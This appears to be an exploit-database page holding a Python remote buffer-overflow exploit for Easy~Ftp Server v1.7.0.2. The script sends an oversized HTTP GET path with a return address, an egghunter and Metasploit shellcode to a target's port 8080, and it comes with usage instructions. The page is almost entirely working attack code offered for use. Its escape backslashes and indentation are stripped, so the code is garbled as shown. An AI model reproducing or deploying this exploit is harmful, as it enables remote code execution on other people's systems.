[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit
# Published : 2010-02-18
# Author : ThE g0bL!N
# Previous Title : gitWeb v1.5.2 Remote Command Execution
# Next Title : Wireshark 1.2.5 LWRES getaddrbyname BOF - calc.exe


# Exploit Title: Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit
# Date: 18-02-2010
# Author: ThE g0bL!N
# Software Link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Code :
#!/usr/bin/python

import sys
import socket
import base64

if len(sys.argv) != 4:
print "n****************************************************"
print "[*] Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploitn"
print "[*] Usage : ./sploit.py <target_ip> <user> <password>n"
print "[*] Example : ./sploit.py 192.168.1.3 anonymous w00tn"
print "*****************************************************"
sys.exit(0)

user = sys.argv[2]
pwd = sys.argv[3]
auth = base64.b64encode(user+":"+pwd)

# win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"x44x7Ax32x37x44x7Ax32x37"
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x50x42x30x42x30x4bx58x45x34x4ex43x4bx38x4ex47"
"x45x30x4ax37x41x50x4fx4ex4bx58x4fx44x4ax41x4bx48"
"x4fx45x42x52x41x30x4bx4ex49x44x4bx58x46x53x4bx58"
"x41x30x50x4ex41x43x42x4cx49x59x4ex4ax46x48x42x4c"
"x46x57x47x50x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e"
"x46x4fx4bx53x46x45x46x32x46x30x45x37x45x4ex4bx58"
"x4fx45x46x42x41x30x4bx4ex48x56x4bx48x4ex30x4bx54"
"x4bx58x4fx45x4ex41x41x50x4bx4ex4bx48x4ex51x4bx58"
"x41x50x4bx4ex49x58x4ex35x46x32x46x50x43x4cx41x33"
"x42x4cx46x56x4bx48x42x54x42x43x45x58x42x4cx4ax57"
"x4ex50x4bx58x42x54x4ex50x4bx48x42x57x4ex51x4dx4a"
"x4bx38x4ax56x4ax30x4bx4ex49x30x4bx38x42x48x42x4b"
"x42x50x42x30x42x50x4bx48x4ax36x4ex53x4fx45x41x43"
"x48x4fx42x46x48x55x49x58x4ax4fx43x38x42x4cx4bx57"
"x42x35x4ax56x50x57x4ax4dx44x4ex43x37x4ax56x4ax59"
"x50x4fx4cx58x50x30x47x35x4fx4fx47x4ex43x36x41x46"
"x4ex36x43x36x42x50x5a")

egghunter=(
"x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
"xefxb8x44x7Ax32x37x8bxfaxafx75xeaxafx75xe7xffxe7")

buf = "x61"*268
buf += "xF0x69x83x7C" #CALL ESP XP SP3
buf += "x63"*8
buf += egghunter

head = "GET /list.html?path="+buf+" HTTP/1.1rn"
head += "Host: "+shellcode+"rn"
head += "Authorization: Basic "+auth+"rn"

try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(head + "rn")
print "[x] Payload sended waiting for shellcode..."
s.close()
except:
print "Error!"